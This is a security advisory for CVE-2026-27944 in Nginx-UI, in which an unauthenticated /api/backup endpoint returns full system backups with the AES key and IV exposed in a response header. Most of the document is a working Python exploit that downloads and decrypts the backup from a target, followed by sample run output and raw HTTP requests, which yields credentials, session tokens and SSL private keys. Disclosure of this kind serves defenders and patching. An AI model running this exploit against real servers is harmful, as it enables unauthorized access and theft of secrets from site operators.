CVE-2026-27944 — Nginx-UI

Summary

The /api/backup endpoint is accessible without authentication and discloses the encryption keys required to decrypt the backup in the X-Backup-Security response header. This allows an unauthenticated attacker to download a full system backup containing sensitive data (user credentials, session tokens, SSL private keys, Nginx configurations) and decrypt it immediately.

Vulnerability Details

Root Cause

The vulnerability exists due to two critical security flaws:

1. Missing Authentication on /api/backup Endpoint

In api/backup/router.go:9, the backup endpoint is registered without any authentication middleware:

func InitRouter(r *gin.RouterGroup) {
	r.GET("/backup", CreateBackup)  // No authentication required
	r.POST("/restore", middleware.EncryptedForm(), RestoreBackup)  // Has middleware
}

For comparison, the restore endpoint correctly uses middleware, while the backup endpoint is completely open.

2. Encryption Keys Disclosed in HTTP Response Headers

In api/backup/backup.go:22-33, the AES-256 encryption key and IV are sent in plaintext via the X-Backup-Security header:

func CreateBackup(c *gin.Context) {
	result, err := backup.Backup()
	if err != nil {
		cosy.ErrHandler(c, err)
		return
	}

	// Concatenate Key and IV
	securityToken := result.AESKey + ":" + result.AESIv  // Keys sent in header

	// ...
	c.Header("X-Backup-Security", securityToken) // Keys exposed to anyone

	// Send file content
	http.ServeContent(c.Writer, c.Request, fileName, modTime, reader)
}

The encryption keys are Base64-encoded AES-256 key (32 bytes) and IV (16 bytes), formatted as key:iv.

3. Backup Contents

The backup archive (created in internal/backup/backup.go) contains:

// Files included in backup:
- nginx-ui.zip (encrypted)
  └── database.db          // User credentials, session tokens
  └── app.ini              // Configuration with secrets
  └── server.key/cert      // SSL certificates

- nginx.zip (encrypted)
  └── nginx.conf           // Nginx configuration
  └── sites-enabled/*      // Virtual host configs
  └── ssl/*                // SSL private keys

- hash_info.txt (encrypted)
  └── SHA-256 hashes for integrity verification

All files are encrypted with AES-256-CBC, but the keys are disclosed in the response.

Proof of Concept

Python script

#!/usr/bin/env python3

"""
POC: Unauthenticated Backup Download + Key Disclosure via X-Backup-Security

Usage:
  python poc.py --target http://127.0.0.1:9000 --out backup.bin --decrypt
"""

import argparse
import base64
import os
import sys
import urllib.parse
import urllib.request
import zipfile
from io import BytesIO

try:
    from Crypto.Cipher import AES
    from Crypto.Util.Padding import unpad
except ImportError:
    print("Error: pycryptodome required for decryption")
    print("Install with: pip install pycryptodome")
    sys.exit(1)


def _parse_keys(hdr_val: str):
    """
    Parse X-Backup-Security header format: "base64_key:base64_iv"
    Example: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==
    """
    v = (hdr_val or "").strip()

    # Format is: key:iv (both base64 encoded)
    if ":" in v:
        parts = v.split(":", 1)
        if len(parts) == 2:
            return parts[0].strip(), parts[1].strip()

    return None, None


def decrypt_aes_cbc(encrypted_data: bytes, key_b64: str, iv_b64: str) -> bytes:
    """Decrypt using AES-256-CBC with PKCS#7 padding"""
    key = base64.b64decode(key_b64)
    iv = base64.b64decode(iv_b64)

    if len(key) != 32:
        raise ValueError(f"Invalid key length: {len(key)} (expected 32 bytes for AES-256)")
    if len(iv) != 16:
        raise ValueError(f"Invalid IV length: {len(iv)} (expected 16 bytes)")

    cipher = AES.new(key, AES.MODE_CBC, iv)
    decrypted = cipher.decrypt(encrypted_data)
    return unpad(decrypted, AES.block_size)


def extract_backup(encrypted_zip_path: str, key_b64: str, iv_b64: str, output_dir: str):
    """Extract and decrypt the backup archive"""
    print(f"\n[*] Extracting encrypted backup to {output_dir}")

    os.makedirs(output_dir, exist_ok=True)

    # Extract the main ZIP (contains encrypted files)
    with zipfile.ZipFile(encrypted_zip_path, 'r') as main_zip:
        print(f"[*] Main archive contains: {main_zip.namelist()}")
        main_zip.extractall(output_dir)

    # Decrypt each file
    encrypted_files = ["hash_info.txt", "nginx-ui.zip", "nginx.zip"]

    for filename in encrypted_files:
        filepath = os.path.join(output_dir, filename)
        if not os.path.exists(filepath):
            print(f"[!] Warning: {filename} not found")
            continue

        print(f"[*] Decrypting {filename}...")

        with open(filepath, "rb") as f:
            encrypted = f.read()

        try:
            decrypted = decrypt_aes_cbc(encrypted, key_b64, iv_b64)

            # Write decrypted file
            decrypted_path = filepath.replace(".zip", "_decrypted.zip") if filename.endswith(".zip") else filepath + ".decrypted"
            with open(decrypted_path, "wb") as f:
                f.write(decrypted)

            print(f"    → Saved to {decrypted_path} ({len(decrypted)} bytes)")

            # If it's a ZIP, extract it
            if filename.endswith(".zip"):
                extract_dir = os.path.join(output_dir, filename.replace(".zip", ""))
                os.makedirs(extract_dir, exist_ok=True)
                with zipfile.ZipFile(BytesIO(decrypted), 'r') as inner_zip:
                    inner_zip.extractall(extract_dir)
                    print(f"    → Extracted {len(inner_zip.namelist())} files to {extract_dir}")

        except Exception as e:
            print(f"    ✗ Failed to decrypt {filename}: {e}")

    # Show hash info
    hash_info_path = os.path.join(output_dir, "hash_info.txt.decrypted")
    if os.path.exists(hash_info_path):
        print(f"\n[*] Hash info:")
        with open(hash_info_path, "r") as f:
            print(f.read())

def main():
    ap = argparse.ArgumentParser(
        description="Nginx UI - Unauthenticated backup download with key disclosure"
    )
    ap.add_argument("--target", required=True, help="Base URL, e.g. http://host:port")
    ap.add_argument("--out", default="backup.bin", help="Where to save the encrypted backup")
    ap.add_argument("--decrypt", action="store_true", help="Decrypt the backup after download")
    ap.add_argument("--extract-dir", default="backup_extracted", help="Directory to extract decrypted files")

    args = ap.parse_args()

    url = urllib.parse.urljoin(args.target.rstrip("/") + "/", "api/backup")

    # Unauthenticated request to the backup endpoint
    req = urllib.request.Request(url, method="GET")

    try:
        with urllib.request.urlopen(req, timeout=20) as resp:
            hdr = resp.headers.get("X-Backup-Security", "")
            key, iv = _parse_keys(hdr)
            data = resp.read()
    except urllib.error.HTTPError as e:
        print(f"[!] HTTP Error {e.code}: {e.reason}")
        sys.exit(1)
    except Exception as e:
        print(f"[!] Error: {e}")
        sys.exit(1)

    with open(args.out, "wb") as f:
        f.write(data)

    # Key/IV disclosure in response header enables decryption of the downloaded backup
    print(f"\nX-Backup-Security: {hdr}")
    print(f"Parsed AES-256 key: {key}")
    print(f"Parsed AES IV    : {iv}")

    if key and iv:
        # Verify key/IV lengths
        try:
            key_bytes = base64.b64decode(key)
            iv_bytes = base64.b64decode(iv)
            print(f"\n[*] Key length: {len(key_bytes)} bytes (AES-256 ✓)")
            print(f"[*] IV length : {len(iv_bytes)} bytes (AES block size ✓)")
        except Exception as e:
            print(f"[!] Error decoding keys: {e}")
            sys.exit(1)

        if args.decrypt:
            try:
                extract_backup(args.out, key, iv, args.extract_dir)

            except Exception as e:
                print(f"\n[!] Decryption failed: {e}")
                import traceback
                traceback.print_exc()
                sys.exit(1)
    else:
        print("\n[!] Failed to parse encryption keys from X-Backup-Security header")
        print(f"    Header value: {hdr}")

if __name__ == "__main__":
    main()

# Download and decrypt backup (no authentication required)
# pip install pycryptodome
python poc.py --target http://victim:9000 --decrypt

X-Backup-Security: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=:+rLZrXK3kbWFRK3qMpB3jw==
Parsed AES-256 key: gnfd8BhrjzrxS7yLRoVvK+fyV9tjS50cfUn/RWuYjGA=
Parsed AES IV    : +rLZrXK3kbWFRK3qMpB3jw==

[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)

[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
    → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
    → Saved to backup_extracted/nginx-ui_decrypted.zip (12510 bytes)
    → Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
    → Saved to backup_extracted/nginx_decrypted.zip (5682 bytes)
    → Extracted 17 files to backup_extracted/nginx

[*] Hash info:
nginx-ui_hash: 7c803b9b8791cebfad36977a321431182b22878c3faf8af544d05318ccb83ad5
nginx_hash: 183458949e54794e1295449f0d6c1175bb92c1ee008be671ee9ee759aad73905
timestamp: 20260129-122110
version: 2.3.2

HTTP Request (Raw)

GET /api/backup HTTP/1.1
Host: victim:9000

No authentication required - this request will succeed and return:

• Encrypted backup as ZIP file
• Encryption keys in X-Backup-Security header

Example Response

HTTP/1.1 200 OK
Content-Type: application/zip
Content-Disposition: attachment; filename=backup-20260129-120000.zip
X-Backup-Security: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4=:7XdVSRcgYfWf7C/J0IS8Cg==

[Binary ZIP data]

The X-Backup-Security header contains:

• Key: e5eWtUkqVEIixQjh253kPYe3cpzdasxiYTbOFHm9CJ4= (Base64-encoded 32-byte AES-256 key)
• IV: 7XdVSRcgYfWf7C/J0IS8Cg== (Base64-encoded 16-byte IV)

Resources

• CWE-306: Missing Authentication for Critical Function
• CWE-311: Missing Encryption of Sensitive Data
• OWASP: Broken Authentication
• OWASP: Sensitive Data Exposure
• NIST: Key Management Guidelines